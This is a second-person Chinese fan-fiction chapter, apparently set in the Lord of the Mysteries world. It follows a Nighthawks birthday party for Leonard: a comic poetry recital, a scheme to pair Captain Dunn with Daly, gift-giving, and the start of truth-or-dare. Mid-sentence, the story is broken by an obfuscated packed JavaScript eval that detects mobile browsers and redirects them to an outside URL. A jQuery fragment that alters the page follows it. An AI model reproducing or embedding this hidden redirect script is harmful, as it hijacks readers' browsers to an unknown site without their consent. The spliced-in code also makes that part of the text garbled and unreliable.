“夏天不在我们的指尖上停驻,也没关系。” “世界今天要赠予我的是,” “灵魂里从未褪色的一隅春色:” “那是你绿眼睛的倒影,” “它映在雨滴浸透的叶脉里,” “那是你的目光,仿佛沉落的星子,” “终有一天将返回天宇。” 当你念出最后一句,随即,掌声和热烈的笑声同时响起。罗珊笑得前仰后合,布莱特直接竖起了大拇指,不知道是夸你的诗还是夸勇气。老尼尔边笑边点头:“不错不错,还是可以的!” 邓恩队长也笑着鼓了鼓掌。你自然为效果也还不错,带着一种笨拙的真诚和促狭的祝福。 你放下稿纸,挑衅地看了一眼伦纳德。伦纳德的脸已经红透了,不知是气的还是羞的,朝你比了个“算你狠”的口型。 “温蒂,有你的!” 罗珊起哄道。 “下一位!下一位!” 布莱特看热闹不嫌事大地喊道。 在笑声与掌声中,你迅速溜下“舞台”,混入观众席,挤到罗珊旁边,接过她递过来的咖啡,一口气灌下半杯,才感觉脸上的热度稍稍退去。“呼……安全着陆!” ,你心里想着,成功将全场的焦点和压力转移给了下一位选手——克莱恩·莫雷蒂。 克莱恩手里捏着稿纸,脸上的表情比之前面对敌人时还要严肃几分,脚步略显沉重地挪到了刚才你站立的位置。观众们,尤其是刚松了口气的你和文学水平堪忧的伦纳德,都饶有兴致地看着他。 “额,” 他声音比平时稍低,深吸了一口气,目光扫过台下那一双双或期待,或促狭的眼睛,最终落在了自己手中的稿纸上,“我要念的标题是《春景》。” 他顿了顿,似乎在稳定情绪,然后,用一种清晰、平稳、带点学究气的语调,开始了朗诵: “当鸟儿的身影掠过二月的晨雾,” “花儿便用它的美丽,” “为四月铺就纯洁的门扉。” “河面仅浮着三两片翡翠般的萍草,” “叶隙间漏下鸟儿的歌声,” “白昼被枝叶拉长,” “仿佛未纺完的亚麻丝线。” “邻家的少女提着篮子,” “在长着苜蓿的小径上,” “我与她偶然相遇。” “她扬起手,” “指尖沾着泥土和草屑。” “笑意从双颊漫开,如暖阳,” “融化了晨霜。” 他的声音不疾不徐,描绘的画面带着一种宁静而细腻的观察。诗句的意象并不复杂,但组合起来却有一种奇妙的画面感和季节流转的韵味。 是原创诗! 你立刻判断,并且可以肯定自己从未在任何诗集上读到过。这风格独特,带着克莱恩身上那种特有的气质。你有些惊讶,又觉得理所应当,毕竟克莱恩看起来就是个文化人,实际上也确实是一个文化人。 克莱恩念完最后一个字,明显松了一口气,但随即又被自己暴露在众目睽睽之下的处境弄得有些窘迫,他拘谨地在台上快速鞠了一躬,就想往下溜。 “好!!!” “太棒了克莱恩!” 你和伦纳德几乎是同时跳了起来,高举双手,用力鼓掌,大声欢呼!一方面是为克莱恩这首诗喝彩,另一方面也是由衷地为同伴成功过关感到高兴。当然,你的声音里还有对伦纳德的“只剩你了”的幸灾乐祸。 观众席也响起了热烈而真诚的掌声。罗珊眼睛发亮,西迦微微点头表示欣赏,洛耀也轻轻拍手。老尼尔摸着下巴点头:“嗯,对于第一次作诗的人来说很有灵气了。” 邓恩队长也微微颔首,带着赞许的笑意评价道:“是写得不错的,克莱恩。很有画面感。” 在这样热烈的反响和队长的直接夸奖下,克莱恩的脸颊微微泛红,他似乎很不习惯成为这样瞩目的焦点,尤其是被如此直白地夸奖。他连连摆手,嘴里含糊地说着“没有没有”、“随便写的”,然后几乎是同手同脚、恨不得立刻找个地缝钻进去般地迅速逃下了台,挤到了人群边缘,试图用缩小存在感来化解尴尬。 你看着他窘迫的样子,忍不住笑得更开心了:“太棒啦!我们的‘占卜家’克莱恩·莫雷蒂先生,出色地完成了他的诗歌首秀!喔!”你对克莱恩双手竖大拇指,同时更加期待地看向了今天的主角——伦纳德·米切尔。 克莱恩这关算是漂亮地过去了,而且无形中把期待值拉高了不少。 现在,所有的目光,所有的期待,所有的压力,以及你和克莱恩眼中“看好戏”的光芒,都齐刷刷地聚焦在了最后一位、也是今天的寿星——伦纳德·米切尔身上。罗珊甚至兴奋地小小声喊了句:“到你了,诗人先生!” 伦纳德此刻脸上的表情颇为精彩。先是因克莱恩出乎意料的优秀表现闪过了一丝惊讶,随即又在众人的注视下,迅速调整状态,挺直了腰板,努力摆出一副“这才哪到哪,看我的”的自信模样。他甚至还整理了一下并不凌乱的衣领,清了清嗓子。 “咳咳,” 他走到场地中央,那里仿佛成了他的专属舞台,“感谢克莱恩同事带来的……嗯,非常优秀的诗歌作品。” 他试图用点评来建立自己的专业形象,但他微微发红的耳尖还是出卖了他的紧张。 大家伙们,尤其是你和克莱恩,还有看热闹不嫌事大的罗珊——都伸长了脖子,眼睛一眨不眨,满怀期待地想看看这位的诗人同学,究竟能拿出怎样一首“惊世骇俗”的生日诗。 “那么接下来,” 他扬起一个标志性的、带着点不羁和自信的笑容,从口袋里掏出了一张叠得方方正正、看起来颇为郑重的纸,“请欣赏,由本人,伦纳德·米切尔,倾情原创并朗诵的——《致闪耀的星与永恒的夜》!” “《致闪耀的星与永恒的夜》,” 他朗声报出标题,像是一个舞台剧演员。光听这名字,就让台下的你嘴角就忍不住抽搐了一下,克莱恩也沉默了,而老尼尔已经开始摸着下巴,肩膀可疑地抖动。 伦纳德完全沉浸在自己的诗人气场中,开始了他的朗诵: “啊!” 他以一个饱含深情的感叹词开场,手臂随之挥出个半圆。 “当夜幕如巨大的天鹅绒斗篷覆盖廷根,” “唯有那不眠的星辰,” “是宇宙永不闭合的眼眸!” “它们凝视着,” “凝视着这沉睡的城市,” “与……与在阴影中行走的我们!” 伦纳德可疑地有些卡词了,但是你忍住了,不能笑! “我们的脚步轻盈,” “如风掠过屋顶,” 他开始加入动作,踮起脚尖模仿轻盈的感觉。 “我们的目光锐利,” “穿透最深沉的迷雾!” 他猛地瞪大眼睛,做出锐利的凝视表情。你没想到伦纳德的诗朗诵居然还有临场表演,掐着大腿肩膀不停地抖,但你忍住了! “我们是值夜者,” “是梦境与现实的边界守卫!” “而您,伟大的夜啊!” 他突然转向虚空,仿佛在与“夜”本身对话,手臂伸向天花板。 “您不是终结,而是另一种开始!” “您用寂静孕育低语,” “用黑暗滋养勇气!” “就像……就像那永不熄灭的瓦斯灯,” 比喻突然从星空跳到瓦斯灯,转折生硬得让克莱恩的嘴角剧烈抽动了一下。诗句开始变得有些……难以理解,老尼尔终于忍不住“噗”地笑出了半声,又赶紧假装咳嗽。 “在冰冷的街头,孤独地,燃烧着……使命!” 他握紧拳头,放在胸前,做出“燃烧使命”的姿势。 现场陷入了一种诡异的寂静。诗句本身充满了夸张的意象,但配合伦纳德那全情投入、甚至有些过于用力的朗诵和肢体动作,产生了一种奇特的、令人窒息的喜剧效果。大家想笑,又觉得在当事人如此严肃的创作面前笑出来不太厚道,但憋笑又实在辛苦。 你死死咬着下唇,低头假装研究地板花纹,肩膀抖得厉害。克莱恩低头盯着自己的鞋尖,仿佛上面有神秘的符号。邓恩队长端着咖啡杯的手停在半空,灰眸中充满了复杂的情绪,像是想阻止,又觉得应该尊重队员的创作热情。 伦纳德对台下微妙的气氛似乎毫无察觉,或者说,他将其理解为了“被深深震撼”。他深吸一口气,准备念出他自认为的、点睛之笔的结尾: “所以,让我们赞颂这夜吧!” 他的音调再次拔高,几乎像是在呐喊。 “赞颂它的深邃,它的包容,它的……呃……” 他卡壳了零点五秒,迅速瞥了一眼稿纸,“它的永恒!” ”谢谢大家,我的朗诵完毕!” “噗——哈哈哈对不起!” 罗珊终于第一个没忍住,爆发出了一连串清脆的笑声,像点燃了导火索。 “哈哈哈哈!” “咳咳咳……” “哎哟女神在上啊……” 瞬间,憋了许久的笑声如同决堤的洪水,席卷了整个场地。老尼尔笑得前仰后合,布莱特拍着大腿,连西迦和洛耀都转过头,肩膀耸动。克莱恩把脸埋在了手掌里,但抖动的身躯出卖了他。你也彻底放弃抵抗,跟着放声大笑起来。 伦纳德站在笑声中央,脸上的激情缓缓凝固,逐渐转变为错愕、尴尬,最后是一点点挫败和大量的羞恼,脸颊和耳朵肉眼可见地红了起来。“喂!你们……你们这是什么反应啊!” 他试图维持尊严,但声音在笑声中显得微弱。 “好了,好了。” 邓恩队长终于出声控制场面,他放下咖啡杯,脸上带着无奈又好笑的表情,“伦纳德,你的……朗诵充满激情。” 他斟酌着用词,“不过,看来大家已经充分感受到你的诗意了。” 他巧妙地没有评价诗的内容本身。 伦纳德看着台下笑倒一片的场景,瞬间张牙舞爪起来:“喂!你们笑什么!这诗……这诗难道不深刻吗?不宏大吗?不充满力量吗?” 你抹了抹笑出的眼泪,举手发言:“深刻!宏大!力量十足!尤其是最后那句‘它的永恒’,我差点以为你要喊‘为了女神’!” 这话又引来一阵更大的笑声。 克莱恩也一本正经地补充:“确实……意象非常丰富,情感也非常饱满。嗯,很符合‘午夜诗人’的浪漫主义特质。” 他的语气听起来很诚恳,但仔细品味,总觉得哪里不对。 伦纳德被大家笑得有点挂不住,但他很快调整过来,哼了一声:“你们不懂欣赏!真正的诗,是灵魂的呐喊!” 他挥了挥手里的稿纸,然后像是突然想起什么似的,目光“唰”地一下看向了今天一直显得格外温和、甚至带着纵容笑容的邓恩队长。 “队长!您看,我们三个都已经表演了,” 他指了指自己,又指了指你和克莱恩,“您作为我们黑荆棘安保公司的队长,今晚这场……呃,‘诗歌交流大会’的见证者,是不是也该表示表示?队长也来一首?” 此言一出,刚才还在笑的众人瞬间安静下来,随即,所有人的眼睛都亮了,目光齐刷刷地转向邓恩·史密斯队长,眼中充满了看好戏的兴奋和期待! 来了! 你和克莱恩精神一振,对视一眼,都看到了对方眼中的信号——“情人节作战”,关键一步,启动! 邓恩队长显然没料到战火会突然烧到自己身上,他端着咖啡杯的手顿了顿,灰眸中闪过一丝错愕,随即是无奈:“我?我就不必了吧。我可不是诗人。” “队长,这就是您不对了!” 伦纳德立刻接口,充分发挥他“午夜诗人”的口才,“诗歌是情感的流淌,是心境的表达!今晚气氛这么好,大家这么开心,您作为我们的大家长,怎能不参与进来,为我们留下一些……嗯,值得纪念的句子呢?” “是啊队长!” “来一首吧队长!” “随便说几句也行!” 罗珊、布莱特等人立刻开始起哄,气氛再次被点燃。你和克莱恩也混在人群中,跟着小声附和,但眼睛盯着克莱恩朝他放信号——按照计划,该他行动了。 邓恩队长被众人围在中间,看着一双双充满期待和促狭的眼睛,尤其是伦纳德那副“您不答应我就不罢休”的架势,终于无奈地叹了口气,放下咖啡杯:“……好吧,不过我真的不擅长这个。” 就在队长妥协,众人欢呼,注意力都集中在队长身上,思考着他会说出什么句子的时候—— 克莱恩悄无声息地退后两步,将几盏主要的煤气灯罩住,火苗在灯罩内极其轻微地摇曳了一下,然后,光线以不易察觉的速度缓缓暗淡下去,如同黄昏悄然降临。 与此同时,那些预先布置好的、带有彩色灯罩的烛台和星星灯,开始散发出更加温暖、朦胧而集中的光晕,将场地中央,温柔地笼罩起来。 光线的变化立刻被敏感的众人察觉。氛围,在刹那间改变了。刚才还是明亮的、欢闹的聚会灯光,此刻变得柔和、暧昧,连空气似乎都安静了几分。 伦纳德眼睛一亮,知道关键时刻来了!他趁热打铁,用更加“诚挚”(实则暗藏“险恶”用心)的语气对邓恩队长说:“队长!您看,连灯光都在为您营造气氛!请您一定要为我们,嗯……也为这美好的夜晚,赋诗一首!” 所有人的目光都聚焦在邓恩队长身上,等待着他的“即兴创作”。队长似乎也被这突如其来的氛围变化弄得有些局促,他沉吟着,目光无意识地扫过周围温暖的光晕…… 就是现在! 你的心脏微微提起,全部的灵性感知如同蛛网般张开。你感觉到,公司大门外的街道上,一个熟悉而轻盈的脚步声正由远及近,在某个恰到好处的距离停了下来,似乎也在倾听门内的动静。 时机已到! 你对着隐藏在门边阴影处的西迦微不可察地点了点头。西迦会意,悄无声息地移动到门后。 邓恩队长似乎终于组织好了语言,他抬起头,灰眸在朦胧的光线下显得比平时柔和,他缓缓开口:“就算你这么说……” “看来我错过了什么有意思的事。” 队长的话被打断,一道窈窕有致的身影缓缓从楼梯转角处的阴影中完全显现,步下最后几级台阶。 正煤气灯与烛光混合的光线流淌在她身上,照亮了她妖异而美丽的面容。她眉眼处精心涂抹着幽蓝色的眼影,那蓝色深邃得像午夜的海,与她饱满唇瓣上同样偏蓝调的口红相得益彰,为她平添了几分神秘莫测的气息。 是戴莉·西蒙妮女士! 她站定在楼梯口,目光饶有兴味地扫过全场,最后精准地落在了被烛光柔和笼罩、显得有些措手不及的邓恩队长身上。她唇角勾起一个带着几分玩味和了然的笑意,声音如同浸了蜜糖的夜风,慵懒而磁性: “哦?看来我来的……正是时候?” 她微微歪头,目光在邓恩和起哄的众人之间流转。 邓恩队长的话语戛然而止。他望着门口突然出现的戴莉,明显愣住了,灰眸中闪过一丝来不及掩饰的惊讶,轻咳一声,努力维持着镇定,但耳根似乎有些泛红:“戴莉女士,你怎么来了?” 戴莉女士轻笑一声,优雅地迈步向前,黑色长裙的下摆在她脚边划出优美的弧线。她走到邓恩面前:“怎么,不欢迎我?” 然后,她不等邓恩回答,又转向伦纳德和你等人,笑容更加明媚:“不过,现在看来,我好像打断了什么有趣的环节?” 她虽然是在对大家说话,但眼角的余光却依然瞥向邓恩。 伦纳德立刻抓住机会,大声道:“戴莉女士!您来得太巧了!我们正在举行诗歌交流会,队长正要为我们,呃,还有您,即兴赋诗一首呢!”一边说着,一边极其自然地向旁边挪了半步,将还有些发愣的邓恩队长更明显地凸显出来。 “对啊对啊!戴莉女士快进来!” “队长,快继续呀!” “戴莉女士也来点评一下!” 你和罗珊、布莱特等人立刻会意,开始七嘴八舌地起哄,声音里充满了善意的催促和偶然的兴奋。气氛瞬间被推向了一个微妙而有趣的高潮。 戴莉女士的目光扫过屋内精心的装饰,掠过一张张熟悉而热情的脸庞,最后落在了被众人围在中央、灯光柔和笼罩、似乎有些措手不及的邓恩队长身上。她美丽的眼眸中笑意加深,声音如同夜风中的铃铛: “既然赶上了邓恩队长的诗兴,那我可要好好听听。” 邓恩队长张了张嘴,似乎想说什么,但在众人,尤其是伦纳德那“期待”无比的目光和戴莉的注视下,似乎轻轻叹了口气,露出一丝罕见的、几乎难以察觉的窘迫。 他那双温和的灰色眼眸,缓缓地、带着一种了然的意味,从戴莉那张似笑非笑、涂着幽蓝眼影的脸上移开,扫过了兴奋起哄的伦纳德,又掠过有些紧张但更多是期待的你和克莱恩。 那目光并不锐利,却让你们刚才还理直气壮的起哄声,如同阳光下的冰雪般,迅速消融、沉寂下去。你们像是被老师抓住的、自以为计划天衣无缝的顽童,面面相觑,有些讪讪。 他轻轻地、几不可闻地叹了口气,那叹息里没有多少责怪,反而更像是一种无奈:“这一切……都是你们几个的主意吧?” 他的声音并不严厉,甚至算得上温和。他顿了顿,目光重新投向戴莉,眼神里带着歉意和某种更深沉的克制,“谢谢你们的好意。但是,这样的场合,或许并不那么友好。太过刻意的撮合,可能会给戴莉女士带来不必要的困扰,甚至……有损她的名誉。” 他考虑的并非自己的尴尬,而是戴莉可能面临的处境——被众人目光裹挟着、在一种近乎“逼迫”的氛围下表态,这对于一位女士,尤其是一位身份和行事风格本就引人注目的非凡者女士而言,确实可能不够尊重。 戴莉女士闻言,那双描绘着幽蓝眼影的美丽眼眸微微眯起,她非但没有因为邓恩的解围而顺势下台阶,反而向前又踏了一小步,距离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193728|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邓恩更近了些。 她向前又轻轻迈了半步,几乎要侵入邓恩的私人空间,声音依旧慵懒,却多了几分清晰的反问:“哦?邓恩队长,你为什么会觉得……” 她微微偏头,发丝滑过肩头,“这样的场合,对我这样一位女士,会不友好呢?又为什么担心有损我的‘名誉’呢?” 她的重音微妙地落在“名誉”二字上,像是在咀嚼一个有趣又略带讽刺的词语。 场面一度陷入了奇异的沉寂。烛光摇曳,映照着众人各异的表情。空气仿佛凝固了,众人的目光在邓恩和戴莉之间来回,心情也跟着紧张起来。 就在这时,你的灵性忽然被轻轻触动。你并非刻意窥探,但那瞬间,你似乎理解了邓恩队长那声叹息和话语背后更深层的含义——他不是不喜欢戴莉女士,也并非反感大家的撮合,他是在用他自己的方式,保护着戴莉的选择权和自由,他不希望因为众人的起哄和所谓的好意,让戴莉感到被迫,或是陷入某种尴尬的境地。 他珍视她,尊重她,所以不愿让自己手下一群“小孩”的起哄,变成一种对戴莉女士无形的、轻率的“逼迫”。 他给予的,是沉默的守护和最谨慎的距离。 但……戴莉女士不是被逼迫的啊!她看向队长的眼神,那些看似挑逗的话语下隐藏的熟稔与亲近,甚至她此刻主动的追问……你们这些旁观者,谁看不出那里面涌动的情感?他们明明就互相喜欢! 一股冲动涌上你的心头——不能让这难得的、被我们制造出来的机会,因为队长过分的责任感和谨慎而溜走! “对、对不起,队长!” 你猛地抬起头,声音因为急切而有些拔高,打破了那令人窒息的沉默。你直视着邓恩队长,又飞快地瞥了一眼戴莉女士,脸上带着懊恼和一股豁出去的勇气:“是我……是我们考虑不周,太胡闹了。我没有想那么多,我只是以为……我以为你和戴莉女士是两情相悦的!” “因为你总是把戴莉女士寄来的信翻来覆去地看,看完还要小心收好!戴莉女士每次回廷根,不管多忙,都会专程来找你,哪怕只是匆匆吃一顿午饭!还有,你看她的眼神,跟看我们完全不一样!我、我以为大家都看得出来,所以……所以才想帮忙的……” 你适时地停住,脸上恰到好处地露出“难道我误会了?”的困惑和一丝委屈。 克莱恩几乎在我话音落下的瞬间就反应了过来,他立刻接上:“是的,队长记得戴莉女士提到的每一件小事,即使是很久以前随口说起的,队长也总是会不经意地提起,比如‘戴莉上次说这里的咖啡不错’,或者‘这个季节,贝克兰德不知道天气如何’。而且,队长不自觉地提起戴莉女士的次数真的很多。” 伦纳德看到我们冲锋了,立刻把刚才那点怂恿的愧疚抛到脑后,眼睛闪闪发亮,用力点头附和,他本就是最积极的“撮合派”,此刻更是将自己的激情(和不过大脑)发挥到极致,大声接道:“对啊!队长!戴莉女士!这有什么好犹豫的!瞎子都看得出来你们俩之间不对劲!大家都心知肚明的事情,你们就别磨蹭了!” “——你们两个,快给我交往啊!!!” 声音不大,但在骤然安静下来的空间里,却显得格外清晰、响亮,甚至带着点破音的震撼效果。 “……” “……” 场面再次陷入了一片死寂。 比刚才更安静。连烛火噼啪的声音都清晰可闻。 你和克莱恩都猛地转头,震惊地看向伦纳德,眼睛里写满了“你疯了吗?!”、“你怎么敢直接说出来?!”。 伦纳德自己也后知后觉地意识到了自己喊出了什么,捂住了自己的嘴,绿色的眼睛里充满了“我完了”的惊慌,眼睛瞪得溜圆。你猜他一定恨不得立刻原地消失。 短暂的、几乎令人窒息的安静,大约持续了两三秒。 然后—— “噗……呵呵……哈哈哈……” 一阵愉悦的、仿佛忍了很久终于忍不住的轻笑声打破了寂静。 是戴莉女士。 她先是捂着嘴轻笑,肩膀微微耸动,随后笑声越来越大,越来越畅快,那双描绘着幽蓝眼影的眼睛弯成了好看的月牙,里面盛满了毫不掩饰的开心和某种得逞般的狡黠。她笑得如此开怀,以至于眼角似乎都渗出了点点生理性的泪花,让她整个人在烛光下显得更加明媚生动,之前那种神秘疏离的气质被冲淡了不少,取而代之的是一种鲜活而富有感染力的美丽。 “呵呵呵……哈哈哈哈……” 她笑得甚至微微向后仰了仰,黑色的裙袖随之晃动,手腕上的水晶吊坠叮咚轻响。“交往?” 她重复着这个词,眼波流转,带着一种戏谑又无比明亮的色彩,直直地看向身旁因为伦纳德那句“暴言”而彻底僵住、似乎连手都不知道该往哪里放的邓恩·史密斯队长。 “邓恩,” 她笑吟吟地,用那种能让铁石都酥软几分的语调,一字一句地问,“你的队员们……好像比你自己还要着急你的人生大事呢。而且,听起来,他们观察得很仔细嘛。” 在灼灼的目光注视下,那张平时总是沉稳冷静的脸似乎想说什么,但最终,只是在戴莉银铃般的笑声中,放下揉着眉心的手,目光再次扫过你们三个罪魁祸首,脸上那丝窘迫渐渐化开,最终化作一个认命般的、却比平时更加舒展的温和微笑。 他摇了摇头,语气里带着一种“真是拿你们没办法”的纵容,以及一丝不易察觉的、如释重负的轻松: “是的……我的队员们,观察力都非常敏锐。” 他缓缓说道,目光在伦纳德、克莱恩和你脸上逐一停留,灰眸中蕴着温和的光。 “!!!” 这句话听在你、伦纳德和克莱恩耳中,无异于一声惊雷!不对不对,是庆典的礼炮!对于你们这位内敛、稳重、情感极少外露的队长来说,这几乎就等于是在众人面前,以一种极其含蓄的方式,承认了他和戴莉女士之间那份特殊的感情! 你们成功了! 你们三人心中同时爆发出无声的欢呼,脸上控制不住地绽开灿烂的笑容,互相交换着激动和得意的眼神。 看着你们三人的互动,邓恩队长顿了顿,居然还朝着你们带着点幽默地挤了挤眼睛,补充道:“也许……我也确实应该好好感谢一下我这三位观察入微、并且行动力超群的队员。” 这难得的、带着调侃意味的小动作,让气氛瞬间更加轻松愉快起来。 戴莉女士也止住了笑,她用涂着同色系指甲油的手指轻轻拭去眼角笑出的泪花,那双描绘着幽蓝眼影的眸子重新看向你们,挑了挑精心修饰过的眉毛,勾起一个更加玩味的弧度: “哦?要感谢他们吗,邓恩?” 她声音拖长,带着惯有的、让人心跳微乱的磁性,“不过,可惜呀……” 她故意停顿,目光扫过满脸期待的你们:“在今天,邓恩先生不是我最感兴趣的男人呢。” “……” “???” 一句话,又把刚刚兴奋起来的你们给干懵了。什、什么?不是最感兴趣的男人?什么情况?刚刚气氛不是很好吗?戴莉女士这话是什么意思? 戴莉女士看着你们集体懵掉的表情,仿佛恶作剧得逞般,再次“呵呵”地轻笑起来,笑声里充满了愉悦和享受。她显然很满意自己一句话造成的效果。 笑够了,她才不紧不慢地从随身携带的精致小手袋里,取出了一个用深紫色丝带系着的小巧礼盒,目光越过邓恩,最终落在了还没从话语冲击中完全回过神来的伦纳德身上。 “因为今天,” 戴莉女士的声音清晰而带着祝福的暖意,“这位幸运的男士,是我们的伦纳德·米切尔先生。” 她上前一步,将礼盒递给伦纳德,手指在烛光下泛着细腻的光泽,“生日快乐,我们英俊又热情的诗人先生。这是我用几种有安神效果的非凡植物萃取调和的一点宁神精油,对稳定灵性、快速恢复精力有些帮助,希望你没机会用上。” 这突如其来的转折和真挚的生日祝福,让伦纳德彻底愣住了。他傻傻地接过那个还带着戴莉女士指尖微凉触感和淡淡香气的礼盒,张了张嘴,一时不知该说什么。 就在这时,仿佛排练好了一般,西迦此刻推着一个装着轮子的小餐车,从通道的转角缓缓走了出来。餐车上,是一个点缀着新鲜奶油、草莓和巧克力碎,并插着数字蜡烛的漂亮生日蛋糕! 那些之前为“情人节作战”准备,但此刻同样适合生日派对的烛台和星星灯,洒下温暖而欢快的光芒,完美地映照在蛋糕和众人惊喜的脸上。 “祝你生日快乐~祝你生日快乐~” 罗珊第一个带头唱了起来,紧接着,所有人都加入了合唱,包括刚刚送出礼物的戴莉女士,以及脸上带着温和笑意、眼神柔和的邓恩队长。 “伦纳德,快吹蜡烛!许愿!” 你一边用力鼓掌,一边对着还在发愣的寿星大声喊道。 伦纳德这才如梦初醒,看着眼前跳跃的烛光和周围一张张真诚祝福的笑脸,眼眶似乎微微有些发红。他深吸一口气,闭上眼,默默许下愿望,然后俯身,“呼”地一声吹灭了所有蜡烛。 掌声和欢呼再次响起。 “好了,寿星,快切蛋糕!” 布莱特笑着催促。 你凑到蛋糕前,看了看上面插着的象征年龄的数字蜡烛,忍不住吐槽道:“话说回来,伦纳德,你到底是怎么保养的?看起来简直跟我差不多年纪!” 你指着他的脸,故作夸张,“我给你选蜡烛之前,可完全没想到你已经……咳咳,奔三了!” 这话又引起一阵善意的哄笑。伦纳德刚升起的感动瞬间被冲淡了不少,佯怒道:“喂!什么叫奔三啊,我正值青春!” 克莱恩脸上带着难得轻松的笑意,补上一刀:“也许,保持一颗像诗人同学一样的童心,就是最好的保养剂?” “克莱恩!连你也!” 伦纳德抗议,但脸上却洋溢着被祝福和欢笑包围的幸福光彩,双手整理自己的外套立领,“我今天心情好,不跟你们计较。” 邓恩队长和戴莉女士站在稍外围,戴莉轻轻碰了碰邓恩的手臂,低声说了句什么,队长也微微颔首,目光扫过伦纳德快乐的脸庞,满是欣慰。 蛋糕被切开,分享。唱片机不知被谁重新启动,播放着舒缓的乐曲,气氛轻松惬意。 “好了好了,寿星,准备好接收我们的心意了吗?” 你笑嘻嘻地搓着手,第一个跳了出来,率先拿出了自己准备的礼物——一个用深蓝色绒布包裹的小巧物件。解开系带,里面是一条造型简洁但透着一股温热阳光气息的银链,链坠是一个小巧的、有着复杂太阳纹路的圆形符咒,呈现橙黄的金色,在烛光下流转着光泽。 “喏,给你的。” 你把项链递到还有些发愣的伦纳德面前,故意用肉疼的语气强调,“一定要收好啊!这可是花了我大价钱呢!看见这金光没?真金!虽然不多,但也是金子! ” 你没详细说明太阳符咒的具体作用和制作时融入他生日灵数的尝试,反正他能感觉到这东西有点不寻常就够了。 伦纳德接过项链,手指摩挲着那枚小小的太阳吊坠,眼睛里闪过一丝惊讶和感动,但嘴上却不饶人,挑起眉,晃了晃项链,故意用夸张的语气说:“送黑夜女神虔诚的值夜者太阳符咒?温蒂·佩洛蒙西娅小姐,你这思想很危险啊,太不虔诚了吧?” 但他动作却快得很,边说边麻利地把项链戴在了自己脖子上,让那枚小小的太阳符号贴在了衬衫上。 你被他这得了便宜还卖乖的样子气笑了,伸手作势要抢:“不虔诚就还我!我还舍不得呢!” “送了人的哪有要回去的道理!” 伦纳德立刻警觉地后退半步,一把将刚刚戴好的项链连同吊坠一起,更快地塞进了衬衫领口里面,还拍了拍胸口确保藏好了,然后才换上嬉皮笑脸的表情:“喜欢的喜欢的!开玩笑的嘛!谢谢啦!” 这时,克莱恩也走上前,递过一个用素雅牛皮纸包裹、系着深绿色缎带的方正礼物。“生日快乐,伦纳德。” 他语气平和,“这是我占卜后找到的,觉得可能对你有用。” 他顿了顿,补充道,“里面是一本《罗塞尔大帝抒情诗选》,这一本的注释比较详细,有些对意象和韵律的分析,或许能给你一些创作上的启发。” 伦纳德接过书,掂了掂分量,拆开看了看精美的封面和书脊,眼中露出欣喜:“太棒了!有注解的诗集!这下抄……哦不是,借鉴起来就更方便了!谢谢你,克莱恩!” 然后是总爱和伦纳德斗嘴的罗珊。她笑嘻嘻地递上一个细长的天鹅绒盒子:“喏,送给我们的大诗人!希望你用它写出不那么笑死读者的诗!” 伦纳德接过礼盒,打开,将礼盒里的钢笔在手里转了个圈,哼道:“我写诗哪有你说的那么差!不过……笔不错,谢了罗珊!” 最后,一直含笑看着的邓恩队长走上前,他没有用包装纸,只是从腰间解下了一把带皮质刀鞘的、造型简练却透着寒光的银白色短刀,递给伦纳德。 “生日快乐,伦纳德。” 队长的声音温和而沉稳,“一件趁手的工具,在很多时候都很有用。希望它能在需要的时候保护你,但更希望你没有需要使用它的时候。” “谢谢队长!” 伦纳德郑重地接过短刀,手指拂过冰凉的刀鞘,你从短刀都外表就知道它很锋利可靠。 很快,西迦、洛耀、科恩黎、布莱特、老尼尔、奥利安娜太太也都送上了各自的礼物,或是实用的物件,或是贴心的小玩意。 伦纳德收到每一份礼物,都像是收到了一份独一无二的珍宝。他把诗集紧紧抱在怀里,钢笔插进了胸前的口袋,短刀别在了腰间皮带内侧,脖子上的太阳符咒在衬衫下鼓起一个小包……很快,他就双手被占满,身上到处是鼓囊囊的凸起,行动都有些不便了,但他脸上洋溢着纯粹的、几乎要满溢出来的快乐和满足,看起来舍不得放下其中任何一件……他恨不得多长几只手。 “你这样怎么走路?” 你看着他像个移动的礼品架,又好气又好笑,转身从旁边拿来一个平时装杂物的结实亚麻布袋,“先把东西放进来!没人会抢你的礼物!瞧你这没出息的样子!” 你看着他全身鼓鼓囊囊的样子,忍不住吐槽,“我敢保证,你要是以这副尊容走出公司,在廷根街头的回头率绝对是百分之百,大家肯定会想‘看啊,那个帅气的疯子抱着全副家当要去哪儿’。” “我乐意!” 伦纳德嘴硬,不过还是有些不情愿地、慢吞吞地,将怀里的诗集、钢笔等物一一放进布袋,太阳符咒还戴在他脖子上,藏在衬衫下的位置,短刀别在腰间。 伦纳德放进布袋的动作也是小心翼翼,每放一件都要调整一下位置,仿佛在安置什么易碎品。 最后,他心满意足地拎起那个看起来沉甸甸、装得满满当当的布袋,背在肩上,拍了拍,脸上露出了无比踏实和幸福的笑容,像是一只成功囤满了过冬粮食,心满意足、甚至有点想炫耀的松鼠。 “哎呀,时间还早,今天中午都不回家吃吧,还有这么久的时间,再玩会游戏吧。”罗珊向洛耀使了一个眼色,在她的提议下,众人围坐一圈,开始了经久不衰的聚会游戏——真心话大冒险。克莱恩贡献出了他的黄水晶灵摆作为指针,平放在众人面前。 气氛变得更加轻松随意,罗珊自告奋勇担任主持人,脸上写满了兴奋。 “规则简单!” 罗珊宣布,手指捏着灵摆,“我让灵摆在你们面前旋转,等它自己停下,尖端指向谁,谁就必须选择‘真心话’或者‘大冒险’!不许耍赖哦!” 游戏开始。前几轮指向了西迦,她选择了真心话,结果被问及了最尴尬的一次任务经历。布莱特是大冒险,被要求模仿队长喝咖啡的表情,惟妙惟肖引发爆笑。老尼尔同样选择了大冒险,被迫用夸张的戏剧腔调念了一段仪式步骤。 又一局开始。这一次,灵摆摇晃着转了几圈,尖端不偏不倚,稳稳地指向了它的主人——克莱恩·莫雷蒂。 “哈哈!终于是你了,克莱恩!” 罗珊拍手笑道,“选吧,真心话还是大冒险?” 